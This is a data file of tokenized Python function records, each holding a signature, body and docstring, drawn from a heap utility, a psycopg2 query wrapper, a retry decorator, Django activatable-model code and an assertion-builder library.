{"signature": "def heappushpop_max(heap, item):", "body": "if heap and heap[<NUM_LIT:0>] > item:<EOL><INDENT>item, heap[<NUM_LIT:0>] = heap[<NUM_LIT:0>], item<EOL>_siftup_max(heap, <NUM_LIT:0>)<EOL><DEDENT>return item<EOL>", "docstring": "Fast version of a heappush followed by a heappop.", "id": "f9253:m3"}
{"signature": "def select_rawls_with_extra_column(self, rawl_id):", "body": "<EOL>cols = self.columns.copy()<EOL>cols.append('<STR_LIT:foo>')<EOL>res = self.select(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", <EOL>self.columns, rawl_id, columns=cols)<EOL>if len(res) > <NUM_LIT:0>:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the rawls from the rawl table but in a way to test more stuff", "id": "f9255:c1:m1"}
{"signature": "def query_rawls_with_asterisk(self, rawl_id):", "body": "res = self.query(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", <EOL>rawl_id, columns=self.columns)<EOL>if len(res) > <NUM_LIT:0>:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Test out self.query directly using columns", "id": "f9255:c1:m2"}
{"signature": "def delete_rawl(self, rawl_id):", "body": "return self.query(\"<STR_LIT>\", rawl_id, commit=True)<EOL>", "docstring": "Test a delete", "id": "f9255:c1:m3"}
{"signature": "def delete_rawl_without_commit(self, rawl_id):", "body": "return self.query(\"<STR_LIT>\", rawl_id, commit=False)<EOL>", "docstring": "Test a delete", "id": "f9255:c1:m4"}
{"signature": "def _assemble_with_columns(self, sql_str, columns, *args, **kwargs):", "body": "<EOL>qcols = []<EOL>for col in columns:<EOL><INDENT>if '<STR_LIT:.>' in col:<EOL><INDENT>wlist = col.split('<STR_LIT:.>')<EOL>qcols.append(sql.SQL('<STR_LIT:.>').join([sql.Identifier(x) for x in wlist]))<EOL><DEDENT>else:<EOL><INDENT>qcols.append(sql.Identifier(col))<EOL><DEDENT><DEDENT>query_string = sql.SQL(sql_str).format(<EOL>sql.SQL('<STR_LIT:U+002CU+0020>').join(qcols),<EOL>*[sql.Literal(a) for a in args]<EOL>)<EOL>return query_string<EOL>", "docstring": "Format a select statement with specific columns \n\n:sql_str:   An SQL string template\n:columns:   The columns to be selected and put into {0}\n:*args:     Arguments to use as query parameters.\n:returns:   Psycopg2 compiled query", "id": "f9256:c3:m1"}
{"signature": "def _assemble_select(self, sql_str, columns, *args, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return self._assemble_with_columns(sql_str, columns, *args, **kwargs)<EOL>", "docstring": "Alias for _assemble_with_columns", "id": "f9256:c3:m2"}
{"signature": "def _assemble_simple(self, sql_str, *args, **kwargs):", "body": "query_string = sql.SQL(sql_str).format(<EOL>*[sql.Literal(a) for a in args]<EOL>)<EOL>return query_string<EOL>", "docstring": "Format a select statement with specific columns \n\n:sql_str:   An SQL string template\n:*args:     Arguments to use as query parameters.\n:returns:   Psycopg2 compiled query", "id": "f9256:c3:m3"}
{"signature": "def _execute(self, query, commit=False, working_columns=None):", "body": "log.debug(\"<STR_LIT>\")<EOL>result = []<EOL>if working_columns is None:<EOL><INDENT>working_columns = self.columns<EOL><DEDENT>with RawlConnection(self.dsn) as conn:<EOL><INDENT>query_id = random.randrange(<NUM_LIT>)<EOL>curs = conn.cursor()<EOL>try:<EOL><INDENT>log.debug(\"<STR_LIT>\" % (query_id, query.as_string(curs)))<EOL><DEDENT>except:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL><DEDENT>curs.execute(query)<EOL>log.debug(\"<STR_LIT>\")<EOL>if commit == True:<EOL><INDENT>log.debug(\"<STR_LIT>\" % query_id)<EOL>conn.commit()<EOL><DEDENT>log.debug(\"<STR_LIT>\" % curs.rowcount)<EOL>if curs.rowcount > <NUM_LIT:0>:<EOL><INDENT>result_rows = curs.fetchall()<EOL>for row in result_rows:<EOL><INDENT>i = <NUM_LIT:0><EOL>row_dict = {}<EOL>for col in working_columns:<EOL><INDENT>try:<EOL><INDENT>col = col.replace('<STR_LIT:.>', '<STR_LIT:_>')<EOL>row_dict[col] = row[i]<EOL><DEDENT>except IndexError: pass<EOL>i += <NUM_LIT:1><EOL><DEDENT>log.debug(\"<STR_LIT>\" % row_dict)<EOL>rr = RawlResult(working_columns, row_dict)<EOL>result.append(rr)<EOL><DEDENT><DEDENT>curs.close()<EOL><DEDENT>return result<EOL>", "docstring": "Execute a query with provided parameters \n\nParameters\n:query:     SQL string with parameter placeholders\n:commit:    If True, the query will commit\n:returns:   List of rows", "id": "f9256:c3:m4"}
{"signature": "def process_columns(self, columns):", "body": "if type(columns) == list:<EOL><INDENT>self.columns = columns<EOL><DEDENT>elif type(columns) == str:<EOL><INDENT>self.columns = [c.strip() for c in columns.split()]<EOL><DEDENT>elif type(columns) == IntEnum:<EOL><INDENT>self.columns = [str(c) for c in columns]<EOL><DEDENT>else:<EOL><INDENT>raise RawlException(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Handle provided columns and if necessary, convert columns to a list for \ninternal strage.\n\n:columns: A sequence of columns for the table. Can be list, comma\n    -delimited string, or IntEnum.", "id": "f9256:c3:m5"}
{"signature": "def query(self, sql_string, *args, **kwargs):", "body": "commit = None<EOL>columns = None<EOL>if kwargs.get('<STR_LIT>') is not None:<EOL><INDENT>commit = kwargs.pop('<STR_LIT>')<EOL><DEDENT>if kwargs.get('<STR_LIT>') is not None:<EOL><INDENT>columns = kwargs.pop('<STR_LIT>')<EOL><DEDENT>query = self._assemble_simple(sql_string, *args, **kwargs)<EOL>return self._execute(query, commit=commit, working_columns=columns)<EOL>", "docstring": "Execute a DML query \n\n:sql_string:    An SQL string template\n:*args:         Arguments to be passed for query parameters.\n:commit:        Whether or not to commit the transaction after the query\n:returns:       Psycopg2 result", "id": "f9256:c3:m6"}
{"signature": "def select(self, sql_string, cols, *args, **kwargs):", "body": "working_columns = None<EOL>if kwargs.get('<STR_LIT>') is not None:<EOL><INDENT>working_columns = kwargs.pop('<STR_LIT>')<EOL><DEDENT>query = self._assemble_select(sql_string, cols, *args, *kwargs)<EOL>return self._execute(query, working_columns=working_columns)<EOL>", "docstring": "Execute a SELECT statement \n\n:sql_string:    An SQL string template\n:columns:       A list of columns to be returned by the query\n:*args:         Arguments to be passed for query parameters.\n:returns:       Psycopg2 result", "id": "f9256:c3:m7"}
{"signature": "def insert_dict(self, value_dict, commit=False):", "body": "<EOL>for key in value_dict.keys():<EOL><INDENT>if key not in self.columns:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % key)<EOL><DEDENT><DEDENT>insert_cols = []<EOL>value_set = []<EOL>for col in self.columns:<EOL><INDENT>if col in value_dict:<EOL><INDENT>insert_cols.append(col)<EOL>value_set.append(value_dict[col])<EOL><DEDENT><DEDENT>placeholders = '<STR_LIT:U+002CU+0020>'.join([\"<STR_LIT>\" % x for x in range(<NUM_LIT:1>, len(value_set) + <NUM_LIT:1>)])<EOL>query = self._assemble_with_columns('''<STR_LIT>''' + self.table + '''<STR_LIT>''' + placeholders + '''<STR_LIT>''' + self.pk + '''<STR_LIT:U+0020>''', insert_cols, *value_set)<EOL>result = self._execute(query, commit=commit)<EOL>if len(result) > <NUM_LIT:0>:<EOL><INDENT>if hasattr(result[<NUM_LIT:0>], self.pk):<EOL><INDENT>return getattr(result[<NUM_LIT:0>], self.pk)<EOL><DEDENT>else:<EOL><INDENT>return result[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Execute an INSERT statement using a python dict\n\n:value_dict:    A dictionary representing all the columns(keys) and \n    values that should be part of the INSERT statement\n:commit:        Whether to automatically commit the transaction\n:returns:       Psycopg2 result", "id": "f9256:c3:m8"}
{"signature": "def get(self, pk):", "body": "if type(pk) == str:<EOL><INDENT>try:<EOL><INDENT>pk = int(pk)<EOL><DEDENT>except ValueError: pass<EOL><DEDENT>return self.select(<EOL>\"<STR_LIT>\" + self.table + \"<STR_LIT>\" + self.pk + \"<STR_LIT>\",<EOL>self.columns, pk)<EOL>", "docstring": "Retreive a single record from the table.  Lots of reasons this might be\nbest implemented in the model\n\n:pk:            The primary key ID for the record\n:returns:       List of single result", "id": "f9256:c3:m9"}
{"signature": "def all(self):", "body": "return self.select(\"<STR_LIT>\" + self.table + \"<STR_LIT:;>\", <EOL>self.columns)<EOL>", "docstring": "Retreive all single record from the table.  Should be implemented but not\nrequired.\n:returns:       List of results", "id": "f9256:c3:m10"}
{"signature": "def retry(<EOL>exceptions=(Exception,), interval=<NUM_LIT:0>, max_retries=<NUM_LIT:10>, success=None,<EOL>timeout=-<NUM_LIT:1>):", "body": "if not exceptions and success is None:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>')<EOL><DEDENT>exceptions = exceptions or (_DummyException,)<EOL>_retries_error_msg = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>_timeout_error_msg = '<STR_LIT>'<EOL>@decorator<EOL>def wrapper(func, *args, **kwargs):<EOL><INDENT>signal.signal(<EOL>signal.SIGALRM, _timeout(<EOL>_timeout_error_msg.format(timeout, func.__name__)))<EOL>run_func = functools.partial(func, *args, **kwargs)<EOL>logger = logging.getLogger(func.__module__)<EOL>if max_retries < <NUM_LIT:0>:<EOL><INDENT>iterator = itertools.count()<EOL><DEDENT>else:<EOL><INDENT>iterator = range(max_retries)<EOL><DEDENT>if timeout > <NUM_LIT:0>:<EOL><INDENT>signal.alarm(timeout)<EOL><DEDENT>for num, _ in enumerate(iterator, <NUM_LIT:1>):<EOL><INDENT>try:<EOL><INDENT>result = run_func()<EOL>if success is None or success(result):<EOL><INDENT>signal.alarm(<NUM_LIT:0>)<EOL>return result<EOL><DEDENT><DEDENT>except exceptions:<EOL><INDENT>logger.exception(<EOL>'<STR_LIT>'.format(<EOL>func.__name__))<EOL>if num == max_retries:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>logger.warning(<EOL>'<STR_LIT>'.format(<EOL>func.__name__, interval))<EOL>time.sleep(interval)<EOL><DEDENT>else:<EOL><INDENT>raise MaximumRetriesExceeded(<EOL>_retries_error_msg.format(<EOL>max_retries, interval, func.__name__))<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator to retry a function 'max_retries' amount of times\n\n    :param tuple exceptions: Exceptions to be caught for retries\n    :param int interval: Interval between retries in seconds\n    :param int max_retries: Maximum number of retries to have, if\n        set to -1 the decorator will loop forever\n    :param function success: Function to indicate success criteria\n    :param int timeout: Timeout interval in seconds, if -1 will retry forever\n    :raises MaximumRetriesExceeded: Maximum number of retries hit without\n        reaching the success criteria\n    :raises TypeError: Both exceptions and success were left None causing the\n        decorator to have no valid exit criteria.\n\n    Example:\n        Use it to decorate a function!\n\n        .. sourcecode:: python\n\n            from retry import retry\n\n            @retry(exceptions=(ArithmeticError,), success=lambda x: x > 0)\n            def foo(bar):\n                if bar < 0:\n                    raise ArithmeticError('testing this')\n                return bar\n            foo(5)\n            # Should return 5\n            foo(-1)\n            # Should raise ArithmeticError\n            foo(0)\n            # Should raise MaximumRetriesExceeded", "id": "f9258:m1"}
{"signature": "def validate_activatable_models():", "body": "for model in get_activatable_models():<EOL><INDENT>activatable_field = next((<EOL>f for f in model._meta.fields<EOL>if f.__class__ == models.BooleanField and f.name == model.ACTIVATABLE_FIELD_NAME<EOL>), None)<EOL>if activatable_field is None:<EOL><INDENT>raise ValidationError((<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(model)<EOL>))<EOL><DEDENT>if not model.ALLOW_CASCADE_DELETE:<EOL><INDENT>for field in model._meta.fields:<EOL><INDENT>if field.__class__ in (models.ForeignKey, models.OneToOneField):<EOL><INDENT>if field.remote_field.on_delete == models.CASCADE:<EOL><INDENT>raise ValidationError((<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(model))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Raises a ValidationError for any ActivatableModel that has ForeignKeys or OneToOneFields that will\ncause cascading deletions to occur. This function also raises a ValidationError if the activatable\nmodel has not defined a Boolean field with the field name defined by the ACTIVATABLE_FIELD_NAME variable\non the model.", "id": "f9268:m1"}
{"signature": "def save(self, *args, **kwargs):", "body": "current_activable_value = getattr(self, self.ACTIVATABLE_FIELD_NAME)<EOL>is_active_changed = self.id is None or self.__original_activatable_value != current_activable_value<EOL>self.__original_activatable_value = current_activable_value<EOL>ret_val = super(BaseActivatableModel, self).save(*args, **kwargs)<EOL>if is_active_changed:<EOL><INDENT>model_activations_changed.send(self.__class__, instance_ids=[self.id], is_active=current_activable_value)<EOL><DEDENT>if self.activatable_field_updated:<EOL><INDENT>model_activations_updated.send(self.__class__, instance_ids=[self.id], is_active=current_activable_value)<EOL><DEDENT>return ret_val<EOL>", "docstring": "A custom save method that handles figuring out when something is activated or deactivated.", "id": "f9272:c2:m2"}
{"signature": "def delete(self, force=False, **kwargs):", "body": "if force:<EOL><INDENT>return super(BaseActivatableModel, self).delete(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>setattr(self, self.ACTIVATABLE_FIELD_NAME, False)<EOL>return self.save(update_fields=[self.ACTIVATABLE_FIELD_NAME])<EOL><DEDENT>", "docstring": "It is impossible to delete an activatable model unless force is True. This function instead sets it to inactive.", "id": "f9272:c2:m3"}
{"signature": "def configure_settings():", "body": "if not settings.configured:<EOL><INDENT>test_db = os.environ.get('<STR_LIT>', None)<EOL>if test_db is None:<EOL><INDENT>db_config = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>}<EOL><DEDENT>elif test_db == '<STR_LIT>':<EOL><INDENT>db_config = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL><DEDENT>elif test_db == '<STR_LIT>':<EOL><INDENT>db_config = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(test_db))<EOL><DEDENT>travis_ci = os.environ.get('<STR_LIT>', None)<EOL>if travis_ci:<EOL><INDENT>db_config.update(<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>)<EOL><DEDENT>settings.configure(<EOL>TEST_RUNNER='<STR_LIT>',<EOL>NOSE_ARGS=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>MIDDLEWARE_CLASSES={},<EOL>DATABASES={<EOL>'<STR_LIT:default>': db_config,<EOL>},<EOL>INSTALLED_APPS=(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>),<EOL>ROOT_URLCONF='<STR_LIT>',<EOL>DEBUG=False,<EOL>)<EOL><DEDENT>", "docstring": "Configures settings for manage.py and for run_tests.py.", "id": "f9273:m0"}
{"signature": "def get_version():", "body": "VERSION_FILE = '<STR_LIT>'<EOL>mo = re.search(r'<STR_LIT>', open(VERSION_FILE, '<STR_LIT>').read(), re.M)<EOL>if mo:<EOL><INDENT>return mo.group(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(VERSION_FILE))<EOL><DEDENT>", "docstring": "Extracts the version number from the version.py file.", "id": "f9275:m0"}
{"signature": "def assert_that(val, description='<STR_LIT>'):", "body": "global _soft_ctx<EOL>if _soft_ctx:<EOL><INDENT>return AssertionBuilder(val, description, '<STR_LIT>')<EOL><DEDENT>return AssertionBuilder(val, description)<EOL>", "docstring": "Factory method for the assertion builder with value to be tested and optional description.", "id": "f9307:m1"}
{"signature": "def assert_warn(val, description='<STR_LIT>'):", "body": "return AssertionBuilder(val, description, '<STR_LIT>')<EOL>", "docstring": "Factory method for the assertion builder with value to be tested, optional description, and\n       just warn on assertion failures instead of raisings exceptions.", "id": "f9307:m2"}
{"signature": "def contents_of(f, encoding='<STR_LIT:utf-8>'):", "body": "try:<EOL><INDENT>contents = f.read()<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>with open(f, '<STR_LIT:r>') as fp:<EOL><INDENT>contents = fp.read()<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise ValueError('<STR_LIT>' % type(f).__name__)<EOL><DEDENT>except OSError:<EOL><INDENT>if not isinstance(f, str_types):<EOL><INDENT>raise ValueError('<STR_LIT>' % type(f).__name__)<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3> and type(contents) is bytes:<EOL><INDENT>return contents.decode(encoding, '<STR_LIT:replace>')<EOL><DEDENT>elif sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2> and encoding == '<STR_LIT:ascii>':<EOL><INDENT>return contents.encode('<STR_LIT:ascii>', '<STR_LIT:replace>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return contents.decode(encoding, '<STR_LIT:replace>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return contents<EOL>", "docstring": "Helper to read the contents of the given file or path into a string with the given encoding.\n    Encoding defaults to 'utf-8', other useful encodings are 'ascii' and 'latin-1'.", "id": "f9307:m3"}
{"signature": "def fail(msg='<STR_LIT>'):", "body": "raise AssertionError('<STR_LIT>' % msg if msg else '<STR_LIT>')<EOL>", "docstring": "Force test failure with the given message.", "id": "f9307:m4"}
{"signature": "def soft_fail(msg='<STR_LIT>'):", "body": "global _soft_ctx<EOL>if _soft_ctx:<EOL><INDENT>global _soft_err<EOL>_soft_err.append('<STR_LIT>' % msg if msg else '<STR_LIT>')<EOL>return<EOL><DEDENT>fail(msg)<EOL>", "docstring": "Adds error message to soft errors list if within soft assertions context.\n       Either just force test failure with the given message.", "id": "f9307:m5"}
{"signature": "def __init__(self, val, description='<STR_LIT>', kind=None, expected=None):", "body": "self.val = val<EOL>self.description = description<EOL>self.kind = kind<EOL>self.expected = expected<EOL>", "docstring": "Construct the assertion builder.", "id": "f9307:c0:m0"}
{"signature": "def described_as(self, description):", "body": "self.description = str(description)<EOL>return self<EOL>", "docstring": "Describes the assertion.  On failure, the description is included in the error message.", "id": "f9307:c0:m1"}
{"signature": "def is_equal_to(self, other, **kwargs):", "body": "if self._check_dict_like(self.val, check_values=False, return_as_bool=True) andself._check_dict_like(other, check_values=False, return_as_bool=True):<EOL><INDENT>if self._dict_not_equal(self.val, other, ignore=kwargs.get('<STR_LIT:ignore>'), include=kwargs.get('<STR_LIT>')):<EOL><INDENT>self._dict_err(self.val, other, ignore=kwargs.get('<STR_LIT:ignore>'), include=kwargs.get('<STR_LIT>'))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.val != other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is equal to other.", "id": "f9307:c0:m2"}
{"signature": "def is_not_equal_to(self, other):", "body": "if self.val == other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is not equal to other.", "id": "f9307:c0:m3"}
{"signature": "def is_same_as(self, other):", "body": "if self.val is not other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that the val is identical to other, via 'is' compare.", "id": "f9307:c0:m4"}
{"signature": "def is_not_same_as(self, other):", "body": "if self.val is other:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, other))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that the val is not identical to other, via 'is' compare.", "id": "f9307:c0:m5"}
{"signature": "def is_true(self):", "body": "if not self.val:<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is true.", "id": "f9307:c0:m6"}
{"signature": "def is_false(self):", "body": "if self.val:<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is false.", "id": "f9307:c0:m7"}
{"signature": "def is_none(self):", "body": "if self.val is not None:<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is none.", "id": "f9307:c0:m8"}
{"signature": "def is_not_none(self):", "body": "if self.val is None:<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is not none.", "id": "f9307:c0:m9"}
{"signature": "def is_type_of(self, some_type):", "body": "if type(some_type) is not type andnot issubclass(type(some_type), type):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if type(self.val) is not some_type:<EOL><INDENT>if hasattr(self.val, '<STR_LIT>'):<EOL><INDENT>t = self.val.__name__<EOL><DEDENT>elif hasattr(self.val, '<STR_LIT>'):<EOL><INDENT>t = self.val.__class__.__name__<EOL><DEDENT>else:<EOL><INDENT>t = '<STR_LIT>'<EOL><DEDENT>self._err('<STR_LIT>' % (self.val, t, some_type.__name__))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is of the given type.", "id": "f9307:c0:m10"}
{"signature": "def is_instance_of(self, some_class):", "body": "try:<EOL><INDENT>if not isinstance(self.val, some_class):<EOL><INDENT>if hasattr(self.val, '<STR_LIT>'):<EOL><INDENT>t = self.val.__name__<EOL><DEDENT>elif hasattr(self.val, '<STR_LIT>'):<EOL><INDENT>t = self.val.__class__.__name__<EOL><DEDENT>else:<EOL><INDENT>t = '<STR_LIT>'<EOL><DEDENT>self._err('<STR_LIT>' % (self.val, t, some_class.__name__))<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is an instance of the given class.", "id": "f9307:c0:m11"}
{"signature": "def is_length(self, length):", "body": "if type(length) is not int:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if length < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(self.val) != length:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, length, len(self.val)))<EOL><DEDENT>return self<EOL>", "docstring": "Asserts that val is the given length.", "id": "f9307:c0:m12"}
{"signature": "def contains(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif len(items) == <NUM_LIT:1>:<EOL><INDENT>if items[<NUM_LIT:0>] not in self.val:<EOL><INDENT>if self._check_dict_like(self.val, return_as_bool=True):<EOL><INDENT>self._err('<STR_LIT>' % (self.val, items[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, items[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>missing = []<EOL>for i in items:<EOL><INDENT>if i not in self.val:<EOL><INDENT>missing.append(i)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>if self._check_dict_like(self.val, return_as_bool=True):<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), '<STR_LIT>' if len(missing) == <NUM_LIT:0> else '<STR_LIT:s>', self._fmt_items(missing)))<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(missing)))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val contains the given item or items.", "id": "f9307:c0:m13"}
{"signature": "def does_not_contain(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif len(items) == <NUM_LIT:1>:<EOL><INDENT>if items[<NUM_LIT:0>] in self.val:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, items[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>found = []<EOL>for i in items:<EOL><INDENT>if i in self.val:<EOL><INDENT>found.append(i)<EOL><DEDENT><DEDENT>if found:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(found)))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val does not contain the given item or items.", "id": "f9307:c0:m14"}
{"signature": "def contains_only(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>extra = []<EOL>for i in self.val:<EOL><INDENT>if i not in items:<EOL><INDENT>extra.append(i)<EOL><DEDENT><DEDENT>if extra:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(extra)))<EOL><DEDENT>missing = []<EOL>for i in items:<EOL><INDENT>if i not in self.val:<EOL><INDENT>missing.append(i)<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items), self._fmt_items(missing)))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val contains only the given item or items.", "id": "f9307:c0:m15"}
{"signature": "def contains_sequence(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>for i in xrange(len(self.val) - len(items) + <NUM_LIT:1>):<EOL><INDENT>for j in xrange(len(items)):<EOL><INDENT>if self.val[i+j] != items[j]:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return self<EOL><DEDENT><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items)))<EOL>", "docstring": "Asserts that val contains the given sequence of items in order.", "id": "f9307:c0:m16"}
{"signature": "def contains_duplicates(self):", "body": "try:<EOL><INDENT>if len(self.val) != len(set(self.val)):<EOL><INDENT>return self<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._err('<STR_LIT>' % self.val)<EOL>", "docstring": "Asserts that val is iterable and contains duplicate items.", "id": "f9307:c0:m17"}
{"signature": "def does_not_contain_duplicates(self):", "body": "try:<EOL><INDENT>if len(self.val) == len(set(self.val)):<EOL><INDENT>return self<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._err('<STR_LIT>' % self.val)<EOL>", "docstring": "Asserts that val is iterable and does not contain any duplicate items.", "id": "f9307:c0:m18"}
{"signature": "def is_empty(self):", "body": "if len(self.val) != <NUM_LIT:0>:<EOL><INDENT>if isinstance(self.val, str_types):<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>' % self.val)<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is empty.", "id": "f9307:c0:m19"}
{"signature": "def is_not_empty(self):", "body": "if len(self.val) == <NUM_LIT:0>:<EOL><INDENT>if isinstance(self.val, str_types):<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self._err('<STR_LIT>')<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is not empty.", "id": "f9307:c0:m20"}
{"signature": "def is_in(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>for i in items:<EOL><INDENT>if self.val == i:<EOL><INDENT>return self<EOL><DEDENT><DEDENT><DEDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items)))<EOL>", "docstring": "Asserts that val is equal to one of the given items.", "id": "f9307:c0:m21"}
{"signature": "def is_not_in(self, *items):", "body": "if len(items) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>for i in items:<EOL><INDENT>if self.val == i:<EOL><INDENT>self._err('<STR_LIT>' % (self.val, self._fmt_items(items)))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Asserts that val is not equal to one of the given items.", "id": "f9307:c0:m22"}
{"signature": "def _validate_number(self):", "body": "if isinstance(self.val, numbers.Number) is False:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raise TypeError if val is not numeric.", "id": "f9307:c0:m24"}
{"signature": "def _validate_real(self):", "body": "if isinstance(self.val, numbers.Real) is False:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raise TypeError if val is not real number.", "id": "f9307:c0:m25"}
{"signature": "def is_zero(self):", "body": "self._validate_number()<EOL>return self.is_equal_to(<NUM_LIT:0>)<EOL>", "docstring": "Asserts that val is numeric and equal to zero.", "id": "f9307:c0:m26"}
